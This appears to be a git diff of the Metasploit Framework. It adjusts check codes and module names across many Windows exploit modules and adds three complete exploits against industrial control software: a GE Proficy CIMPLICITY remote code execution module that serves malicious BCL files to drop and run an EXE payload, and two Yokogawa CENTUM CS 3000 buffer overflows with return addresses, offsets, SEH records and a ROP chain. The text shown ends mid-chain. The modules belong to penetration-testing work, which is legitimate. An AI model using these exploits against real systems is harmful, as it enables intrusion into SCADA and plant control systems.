+++ b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb
@@ -77,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     begin
       print_good("Deleting the VBS payload \"#{@var_vbs_name}.vbs\" ...")
-      windir = client.fs.file.expand_path("%WINDIR%")
+      windir = client.sys.config.getenv('WINDIR')
       client.fs.file.rm("#{windir}\\system32\\" + @var_vbs_name + ".vbs")
       print_good("Deleting the MOF file \"#{@var_mof_name}.mof\" ...")
       cmd = "#{windir}\\system32\\attrib.exe -r " +
diff --git a/modules/exploits/windows/novell/netiq_pum_eval.rb b/modules/exploits/windows/novell/netiq_pum_eval.rb
index 70cf850d07..652c37be25 100644
--- a/modules/exploits/windows/novell/netiq_pum_eval.rb
+++ b/modules/exploits/windows/novell/netiq_pum_eval.rb
@@ -75,8 +75,8 @@ class Metasploit3 < Msf::Exploit::Remote
         'data'    => data,
       })
 
-    if res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/ and res.body =~ /2.3.1/
-      return Exploit::CheckCode::Vulnerable
+    if res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/ and res.body =~ /2\.3\.1/
+      return Exploit::CheckCode::Appears
     elsif res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/
       return Exploit::CheckCode::Detected
     end
@@ -92,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote
       win_file = file.gsub("/", "\\\\")
       if session.type == "meterpreter"
         begin
-          windir = session.fs.file.expand_path("%WINDIR%")
+          windir = session.sys.config.getenv('WINDIR')
           win_file = "#{windir}\\system32\\#{win_file}"
           # Meterpreter should do this automatically as part of
           # fs.file.rm().  Until that has been implemented, remove the
diff --git a/modules/exploits/windows/novell/nmap_stor.rb b/modules/exploits/windows/novell/nmap_stor.rb
index 9daec6a1bf..90f13618b9 100644
--- a/modules/exploits/windows/novell/nmap_stor.rb
+++ b/modules/exploits/windows/novell/nmap_stor.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Novell NetMail <= 3.52d NMAP STOR Buffer Overflow',
+      'Name'           => 'Novell NetMail NMAP STOR Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Novell's Netmail 3.52 NMAP STOR
         verb. By sending an overly long string, an attacker can overwrite the
diff --git a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb
index 88064ab1e8..5078c34d36 100644
--- a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb
+++ b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb
@@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote
     print_status("Uploading the CSA#{file_name}.txt file")
     res = upload_file(data)
     if not res or res.code != 200 or (res.body !~ /posted data was written to placeholder file/ and res.body !~ /csaPostStatus=0/)
-      print_error("The test file could not be uploaded")
+      vprint_error("The test file could not be uploaded")
       return Exploit::CheckCode::Safe
     end
 
diff --git a/modules/exploits/windows/oracle/tns_arguments.rb b/modules/exploits/windows/oracle/tns_arguments.rb
index 378df9dbf8..15e6217fe1 100644
--- a/modules/exploits/windows/oracle/tns_arguments.rb
+++ b/modules/exploits/windows/oracle/tns_arguments.rb
@@ -52,23 +52,18 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def check
     connect
-
     version = "(CONNECT_DATA=(COMMAND=VERSION))"
-
     pkt = tns_packet(version)
-
     sock.put(pkt)
-
     sock.get_once
-
     res = sock.get_once(-1, 1)
-
     disconnect
 
-      if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ )
-        return Exploit::CheckCode::Vulnerable
-      end
-        return Exploit::CheckCode::Safe
+    if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ )
+      return Exploit::CheckCode::Appears
+    end
+
+    return Exploit::CheckCode::Safe
   end
 
   def exploit
diff --git a/modules/exploits/windows/oracle/tns_auth_sesskey.rb b/modules/exploits/windows/oracle/tns_auth_sesskey.rb
index 3740af9de8..a75969a235 100644
--- a/modules/exploits/windows/oracle/tns_auth_sesskey.rb
+++ b/modules/exploits/windows/oracle/tns_auth_sesskey.rb
@@ -73,11 +73,12 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     version = tns_version
     if (not version)
-      fail_with(Failure::Unknown, "Unable to detect the Oracle version!")
+      vprint_error("Unable to detect the Oracle version!")
+      return Exploit::CheckCode::Unknown
     end
-    print_status("Oracle version reply: " + version)
-    return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
-    return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
+    vprint_status("Oracle version reply: " + version)
+    return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
+    return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
     return Exploit::CheckCode::Safe
   end
 
diff --git a/modules/exploits/windows/oracle/tns_service_name.rb b/modules/exploits/windows/oracle/tns_service_name.rb
index 42468a055d..3eaa4cf412 100644
--- a/modules/exploits/windows/oracle/tns_service_name.rb
+++ b/modules/exploits/windows/oracle/tns_service_name.rb
@@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ )
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/postgres/postgres_payload.rb b/modules/exploits/windows/postgres/postgres_payload.rb
index 216f67b212..6635980c29 100644
--- a/modules/exploits/windows/postgres/postgres_payload.rb
+++ b/modules/exploits/windows/postgres/postgres_payload.rb
@@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     if version[:auth]
       print_status "Authentication successful. Version: #{version}"
-      return CheckCode::Vulnerable
+      return CheckCode::Appears # WRITE permission needs to be proven to get CheckCode::Vulnerable
     else
       print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
       return CheckCode::Safe
diff --git a/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb b/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb
index e4da02825c..a8ce719da6 100644
--- a/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb
+++ b/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'		=> 'CCProxy <= v6.2 Telnet Proxy Ping Overflow',
+      'Name'		=> 'CCProxy Telnet Proxy Ping Overflow',
       'Description'	=> %q{
           This module exploits the YoungZSoft CCProxy <= v6.2 suite
         Telnet service. The stack is overwritten when sending an overly
@@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if (banner =~ /CCProxy Telnet Service Ready/)
-      return Exploit::CheckCode::Appears
+      return Exploit::CheckCode::Detected
     end
       return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb
index cd52220873..e1d85b055b 100644
--- a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb
+++ b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb
@@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
     sock.put("GET /\r\n\r\n") # Malformed request to get proxy info
     banner = sock.get_once || ''
     if (banner =~ /Server:\sWinGate\s6.1.1\s\(Build 1077\)/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/scada/codesys_web_server.rb b/modules/exploits/windows/scada/codesys_web_server.rb
index 55dc075415..4db8fc6eea 100644
--- a/modules/exploits/windows/scada/codesys_web_server.rb
+++ b/modules/exploits/windows/scada/codesys_web_server.rb
@@ -12,10 +12,12 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'            => 'SCADA 3S CoDeSys CmpWebServer <= v3.4 SP4 Patch 2 Stack Buffer Overflow',
+      'Name'            => 'SCADA 3S CoDeSys CmpWebServer Stack Buffer Overflow',
       'Description'     => %q{
         This module exploits a remote stack buffer overflow vulnerability in
-        3S-Smart Software Solutions product CoDeSys Scada Web Server Version 1.1.9.9.
+        3S-Smart Software Solutions product CoDeSys Scada Web Server Version
+        1.1.9.9. This vulnerability affects versions 3.4 SP4 Patch 2 and
+        earlier.
       },
       'License'         => MSF_LICENSE,
       'Author'          =>
diff --git a/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb b/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb
new file mode 100644
index 0000000000..4ad7445083
--- /dev/null
+++ b/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb
@@ -0,0 +1,315 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Auxiliary::Report
+  include Msf::Exploit::EXE
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::Remote::HttpServer::HTML
+
+  def initialize
+    super(
+      'Name'          => 'GE Proficy CIMPLICITY gefebt.exe Remote Code Execution',
+      'Description'   => %q{
+        This module abuses the gefebt.exe component in GE Proficy CIMPLICITY, reachable through the
+        CIMPLICIY CimWebServer. The vulnerable component allows to execute remote BCL files in
+        shared resources. An attacker can abuse this behaviour to execute a malicious BCL and
+        drop an arbitrary EXE. The last one can be executed remotely through the WebView server.
+        This module has been tested successfully in GE Proficy CIMPLICITY 7.5 with the embedded
+        CimWebServer. This module starts a WebDAV server to provide the malicious BCL files. If
+        the target does not have the WebClient service enabled, an external SMB service is necessary.
+      },
+      'Author'      => [
+        'amisto0x07', # Vulnerability discovery
+        'Z0mb1E', # Vulnerability discovery
+        'juan vazquez' # Metasploit module
+      ],
+      'References'  =>
+        [
+          [ 'CVE', '2014-0750'],
+          [ 'ZDI', '14-015' ],
+          [ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-023-01' ]
+        ],
+      'Stance'         => Msf::Exploit::Stance::Aggressive,
+      'Platform'    => 'win',
+      'Targets'     =>
+        [
+          [ 'GE Proficy CIMPLICITY 7.5 (embedded CimWebServer)', { } ]
+        ],
+      'DefaultTarget'  => 0,
+      'Privileged'     => true,
+      'DisclosureDate' => 'Jan 23 2014'
+    )
+    register_options(
+      [
+        Opt::RPORT(80),
+        OptString.new('URIPATH',   [ true, 'The URI to use (do not change)', '/' ]),
+        OptPort.new('SRVPORT',     [ true, 'The daemon port to listen on (do not change)', 80 ]),
+        OptString.new('UNCPATH',   [ false, 'Override the UNC path to use.' ]),
+        OptBool.new('ONLYMAKE',    [ false, 'Just generate the malicious BCL files for using with an external SMB server.', true ]),
+        OptString.new('TARGETURI', [true, 'The base path to the CimWeb', '/'])
+      ], self.class)
+  end
+
+  def on_request_uri(cli, request)
+    case request.method
+      when 'OPTIONS'
+        process_options(cli, request)
+      when 'PROPFIND'
+        process_propfind(cli, request)
+      when 'GET'
+        process_get(cli, request)
+      else
+        vprint_status("#{request.method} => 404 (#{request.uri})")
+        resp = create_response(404, "Not Found")
+        resp.body = ""
+        resp['Content-Type'] = 'text/html'
+        cli.send_response(resp)
+    end
+  end
+
+  def process_get(cli, request)
+    if request.uri =~ /#{@basename}(\d)\.bcl/
+      print_status("GET => Payload")
+      data = @bcls[$1.to_i]
+      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
+      return
+    end
+
+    # Anything else is probably a request for a data file...
+    vprint_status("GET => DATA (#{request.uri})")
+    data = rand_text_alpha(8 + rand(10))
+    send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
+  end
+
+  #
+  # OPTIONS requests sent by the WebDav Mini-Redirector
+  #
+  def process_options(cli, request)
+    vprint_status("OPTIONS #{request.uri}")
+    headers = {
+      'MS-Author-Via' => 'DAV',
+      'DASL'          => '<DAV:sql>',
+      'DAV'           => '1, 2',
+      'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
+      'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
+      'Cache-Control' => 'private'
+    }
+    resp = create_response(207, "Multi-Status")
+    headers.each_pair {|k,v| resp[k] = v }
+    resp.body = ""
+    resp['Content-Type'] = 'text/xml'
+    cli.send_response(resp)
+  end
+
+  #
+  # PROPFIND requests sent by the WebDav Mini-Redirector
+  #
+  def process_propfind(cli, request)
+    path = request.uri
+    print_status("Received WebDAV PROPFIND request")
+    body = ''
+
+    if (path =~ /\.bcl$/i)
+      print_status("Sending BCL multistatus for #{path} ...")
+      body = %Q|<?xml version="1.0"?>
+<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
+<a:response>
+</a:response>
+</a:multistatus>
+|
+    elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
+      # Response for anything else (generally just /)
+      print_status("Sending directory multistatus for #{path} ...")
+      body = %Q|<?xml version="1.0" encoding="utf-8"?>
+<D:multistatus xmlns:D="DAV:">
+<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
+<D:href>#{path}</D:href>
+<D:propstat>
+<D:prop>
+<lp1:resourcetype><D:collection/></lp1:resourcetype>
+<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
+<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
+<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
+<D:lockdiscovery/>
+<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
+</D:prop>
+<D:status>HTTP/1.1 200 OK</D:status>
+</D:propstat>
+</D:response>
+</D:multistatus>
+|
+    else
+      print_status("Sending 404 for #{path} ...")
+      send_not_found(cli)
+      return
+    end
+
+    # send the response
+    resp = create_response(207, "Multi-Status")
+    resp.body = body
+    resp['Content-Type'] = 'text/xml'
+    cli.send_response(resp)
+  end
+
+  def check
+    uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe")
+    uri << "?"
+
+    res = send_request_cgi('uri' => uri)
+
+    # res.to_s is used because the CIMPLICITY embedded web server
+    # doesn't send HTTP compatible responses.
+    if res and res.code == 200 and res.to_s =~ /Usage.*gefebt\.exe/
+      return Exploit::CheckCode::Detected
+    end
+
+    Exploit::CheckCode::Unknown
+  end
+
+  def exploit
+    @extensions = "bcl"
+    @bcls= []
+    @total_exe = 0
+
+    setup_resources
+
+    make_bcls
+
+    print_status("BCLs available at #{@exploit_unc}#{@share_name}\\#{@basename}{i}.bcl")
+
+    unless datastore['UNCPATH'].blank?
+      @bcls.each_index { |i| file_create("#{@basename}#{i}.bcl", @bcls[i]) }
+      if datastore['ONLYMAKE']
+        print_warning("Files created, remember to upload the BCL files to the remote share!")
+        print_warning("Once ready set ONLYMAKE to false")
+      else
+        exploit_bcl
+      end
+      return
+    end
+
+    super
+  end
+
+  def setup_resources
+    if datastore['UNCPATH'].blank?
+      # Using WebDAV
+      my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
+      @basename = rand_text_alpha(3)
+      @share_name = rand_text_alpha(3)
+      @exploit_unc  = "\\\\#{my_host}\\"
+      @exe_filename = "#{rand_text_alpha(3 + rand(4))}.exe"
+      unless datastore['SRVPORT'].to_i == 80 && datastore['URIPATH'] == '/'
+        fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
+      end
+    else
+      # Using external SMB Server
+      if datastore['UNCPATH'] =~ /(\\\\[^\\]*\\)([^\\]*)\\([^\\]*)\.bcl/
+        @exploit_unc = $1
+        @share_name = $2
+        @basename = $3
+        # Use an static file name for the EXE since the module doesn't
+        # deliver the BCL files in this case.
+        @exe_filename = "ge_pld.exe"
+      else
+        fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be \\\\host\\shared_folder\\base_name.blc')
+      end
+    end
+  end
+
+  def make_bcls
+    exe = generate_payload_exe
+    # Padding to be sure we're aligned to 4 bytes.
+    exe << "\x00" until exe.length % 4 == 0
+    longs = exe.unpack("l*")
+    offset = 0
+
+    # gefebt.exe isn't able to handle (on my test environment) long
+    # arrays bigger than 16000, so we need to split it.
+    while longs.length > 0
+      parts = longs.slice!(0, 16000)
+      @bcls << generate_bcl(parts , offset)
+      offset += parts.length * 4
+    end
+  end
+
+  def generate_bcl(slices, offset)
+    bcl_payload = ""
+
+    slices.each_index do |i|
+      bcl_payload << "s(#{i + 1}) = #{slices[i]}\n"
+    end
+
+    <<-EOF
+Option CStrings On
+
+Sub Main()
+  Open "#{@exe_filename}" For Binary Access Write As #1
+  Dim s(#{slices.length}) As Long
+  #{bcl_payload}
+
+  For x = 1 To #{slices.length}
+    t = x - 1
+    Put #1,t*4+1+#{offset},s(x)
+  Next x
+
+  Close
+End Sub
+    EOF
+  end
+
+  def execute_bcl(i)
+    print_status("#{peer} - Executing BCL code #{@basename}#{i}.bcl to drop final payload...")
+
+    uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe")
+    uri << "?#{@exploit_unc}#{@share_name}\\#{@basename}#{i}.bcl"
+
+    res = send_request_cgi('uri' => uri)
+
+    # We use res.to_s because the embedded CIMPLICITY Web server doesn't
+    # answer with valid HTTP responses.
+    if res and res.code == 200 and res.to_s =~ /(^Error.*$)/
+      print_error("#{peer} - Server answered with error: $1")
+      fail_with(Failure::Unknown, "#{peer} - Server answered with error")
+    elsif res and res.code == 200 and res.to_s =~ /No such file or directory/
+      fail_with(Failure::BadConfig, "#{peer} - The target wasn't able to access the remote BCL file")
+    elsif res and res.code == 200
+      print_good("#{peer} - '200 OK' answer indicates success!")
+    else
+      fail_with(Failure::Unknown, "#{peer} - Unknown error")
+    end
+  end
+
+  def exploit_bcl
+    @bcls.each_index do |i|
+      execute_bcl(i)
+    end
+
+    print_status("#{peer} - Executing #{@exe_filename}...")
+    uri = normalize_uri(target_uri.to_s, "CimWeb", @exe_filename)
+    uri << "?"
+
+    # Enough timeout to execute the payload, but don't block the exploit
+    # until there is an answer.
+    send_request_cgi({'uri' => uri}, 3)
+  end
+
+  def primer
+    exploit_bcl
+    service.stop
+  end
+
+  def file_create(fname, data)
+    ltype = "exploit.fileformat.#{self.shortname}"
+    full_path = store_local(ltype, nil, data, fname)
+    print_good("#{fname} stored at #{full_path}")
+  end
+
+end
diff --git a/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb b/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb
index 4c4aab2aca..e047d84024 100644
--- a/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb
+++ b/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info={})
     super(update_info(info,
-      'Name'           => "7-Technologies IGSS <= v9.00.00 b11063 IGSSdataServer.exe Stack Buffer Overflow",
+      'Name'           => "7-Technologies IGSS IGSSdataServer.exe Stack Buffer Overflow",
       'Description'    => %q{
           This module exploits a vulnerability in the igssdataserver.exe component of 7-Technologies
         IGSS up to version 9.00.00 b11063. While processing a ListAll command, the application
diff --git a/modules/exploits/windows/scada/indusoft_webstudio_exec.rb b/modules/exploits/windows/scada/indusoft_webstudio_exec.rb
index edfaed5062..addf1d8f3a 100644
--- a/modules/exploits/windows/scada/indusoft_webstudio_exec.rb
+++ b/modules/exploits/windows/scada/indusoft_webstudio_exec.rb
@@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if app_info =~ /InduSoft Web Studio v6\.1/
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     elsif app_info =~ /InduSoft Web Studio/
       return Exploit::CheckCode::Detected
     end
diff --git a/modules/exploits/windows/scada/procyon_core_server.rb b/modules/exploits/windows/scada/procyon_core_server.rb
index 9db451612c..8ab2174d7f 100644
--- a/modules/exploits/windows/scada/procyon_core_server.rb
+++ b/modules/exploits/windows/scada/procyon_core_server.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info={})
     super(update_info(info,
-      'Name'           => "Procyon Core Server HMI <= v1.13 Coreservice.exe Stack Buffer Overflow",
+      'Name'           => "Procyon Core Server HMI Coreservice.exe Stack Buffer Overflow",
       'Description'    => %q{
           This module exploits a vulnerability in the coreservice.exe component of Proycon
         Core Server <= v1.13. While processing a password, the application
@@ -74,8 +74,9 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if res =~ /Core Command Interface V1\.(.*)2/
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
+
     return Exploit::CheckCode::Safe
   end
 
diff --git a/modules/exploits/windows/scada/scadapro_cmdexe.rb b/modules/exploits/windows/scada/scadapro_cmdexe.rb
index 2cb98f18fb..45b020ee72 100644
--- a/modules/exploits/windows/scada/scadapro_cmdexe.rb
+++ b/modules/exploits/windows/scada/scadapro_cmdexe.rb
@@ -14,12 +14,13 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Measuresoft ScadaPro <= 4.0.0 Remote Command Execution',
+      'Name'           => 'Measuresoft ScadaPro Remote Command Execution',
       'Description'    => %q{
-          This module allows remote attackers to execute arbitray commands on
-        the affected system by abusing via Directory Traversal attack when using the 'xf'
-        command (execute function). An attacker can execute system() from msvcrt.dll to
-        upload a backdoor and gain remote code execution.
+        This module allows remote attackers to execute arbitray commands on the
+        affected system by abusing via Directory Traversal attack when using the
+        'xf' command (execute function). An attacker can execute system() from
+        msvcrt.dll to upload a backdoor and gain remote code execution. This
+        vulnerability affects version 4.0.0 and earlier.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
diff --git a/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb b/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb
new file mode 100644
index 0000000000..678dcb23e9
--- /dev/null
+++ b/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb
@@ -0,0 +1,105 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::Tcp
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow',
+      'Description'    => %q{
+        This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability
+        exists in the service BKBCopyD.exe when handling specially crafted packets. This module has
+        been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3.
+      },
+      'Author'         =>
+        [
+          'juan vazquez',
+          'Redsadic <julian.vilas[at]gmail.com>'
+        ],
+      'References'     =>
+        [
+          [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
+          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]
+        ],
+      'Payload'        =>
+        {
+          'Space'          => 373, # 500 for the full RETR argument
+          'DisableNops'    => true,
+          'BadChars'       => "\x00\x0d\x0a\xff",
+          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff\xff\xff" # Stack adjustment # add esp, -3500 # double \xff char to put it on memory
+        },
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'thread',
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          [ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows XP SP3',
+            {
+              'Ret'    => 0x6404625d, # push esp # ret # libBKBUtil.dll]
+              'Offset' => 123
+            }
+          ],
+        ],
+      'DisclosureDate' => 'Mar 10 2014',
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        Opt::RPORT(20111)
+      ], self.class)
+  end
+
+  def check
+    pkt = build_probe
+    res = send_pkt(pkt)
+    if valid_response?(res)
+      return Exploit::CheckCode::Detected
+    end
+
+    Exploit::CheckCode::Safe
+  end
+
+
+  def exploit
+    data = "RETR "
+    data << rand_text(target['Offset'])
+    data << [target.ret].pack("V")
+    data << payload.encoded
+    data << "\n"
+
+    print_status("Trying target #{target.name}, sending #{data.length} bytes...")
+    connect
+    sock.put(data)
+    disconnect
+  end
+
+  def build_probe
+    "#{rand_text_alpha(10)}\n"
+  end
+
+  def send_pkt(data)
+    connect
+    sock.put(data)
+    data = sock.get_once
+    disconnect
+
+    return data
+  end
+
+  def valid_response?(data)
+    return false unless !!data
+    return false unless data =~ /500  'yyparse error': command not understood/
+    return true
+  end
+
+end
+
diff --git a/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb b/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb
new file mode 100644
index 0000000000..fc5144ec3f
--- /dev/null
+++ b/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb
@@ -0,0 +1,170 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = AverageRanking
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Exploit::Seh
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow',
+      'Description'    => %q{
+        This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability
+        exists in the service BKHOdeq.exe when handling specially crafted packets. This module has
+        been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3 and Windows
+        2003 SP2.
+      },
+      'Author'         =>
+        [
+          'juan vazquez',
+          'Redsadic <julian.vilas[at]gmail.com>'
+        ],
+      'References'     =>
+        [
+          [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
+          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]
+        ],
+      'Payload'        =>
+        {
+          'Space'       => 6000,
+          'DisableNops' => true,
+          'BadChars'    => ":\r\n"
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          [ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]',
+            {
+              'Ret'    => 0x0042068e, # stackpivot from 2488 BKHOdeq.exe # ADD ESP,9B8 # RETN
+              'Offset' => 8660,
+              'StackPivotAdjustment' => 108
+            }
+          ]
+        ],
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'thread',
+          'WfsDelay' => 10
+        },
+      'DisclosureDate' => 'Mar 10 2014',
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        # Required for EIP offset
+        Opt::RPORT(20171)
+      ], self.class)
+  end
+
+  def check
+    # It forces an huge allocation, which should fail,
+    # and return back an error answer from the server
+    # while parsing the packet header.
+    pkt = build_pkt(0xffffffff)
+    res = send_pkt(pkt)
+    if valid_response?(res)
+      return Exploit::CheckCode::Detected
+    end
+
+    Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    my_payload = payload.encoded
+    rop_chain = create_rop_chain
+
+    data = rand_text(target['StackPivotAdjustment'])
+    data << rop_chain
+    data << stack_adjust
+    data << my_payload
+    data << rand_text(target['Offset'] - data.length)
+    data << generate_seh_record(target.ret)
+
+    pkt = build_pkt(data.length, data)
+
+    print_status("Trying target #{target.name}, sending #{pkt.length} bytes...")
+    connect
+    sock.put(pkt)
+    disconnect
+  end
+
+  def build_pkt(data_length, data = "")
+    header = rand_text(4)             # iMark
+    header << [data_length].pack("N") # Data length
+    header << rand_text(4)            # NumSet
+    header << rand_text(2)            # req
+    header << rand_text(2)            # Unknown
+
+    pkt = header + data
+
+    pkt
+  end
+
+  def send_pkt(data)
+    connect
+    sock.put(data)
+    res = sock.get_once
+    disconnect
+
+    res
+  end
+
+  def valid_response?(data)
+    return false unless data
+    return false unless data.length == 4
+    return false unless result_code(data) == 0
+
+    true
+  end
+
+  def result_code(data)
+    data.unpack("N").first
+  end
+
+  def stack_adjust
+    adjust = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
+    adjust << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
+    adjust << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
+    adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
+
+    adjust
+  end
+
+  def create_rop_chain
+    # rop chain generated with mona.py - www.corelan.be
+    rop_gadgets =
+      [
+        0x63b27a60,  # RET # padding on XP SP3
+        0x63b27a60,  # RET # padding on XP SP3
+        0x63b27a5f,  # POP EAX # RETN [libbkhMsg.dll]
+        0x61e761e0,  # ptr to &VirtualAlloc() [IAT LibBKCCommon.dll]
+        0x61e641e4,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [LibBKCCommon.dll]
+        0x00405522,  # PUSH EAX # TEST EAX,C0330042 # POP ESI # ADD ESP,6D8 # RETN [BKHOdeq.exe]
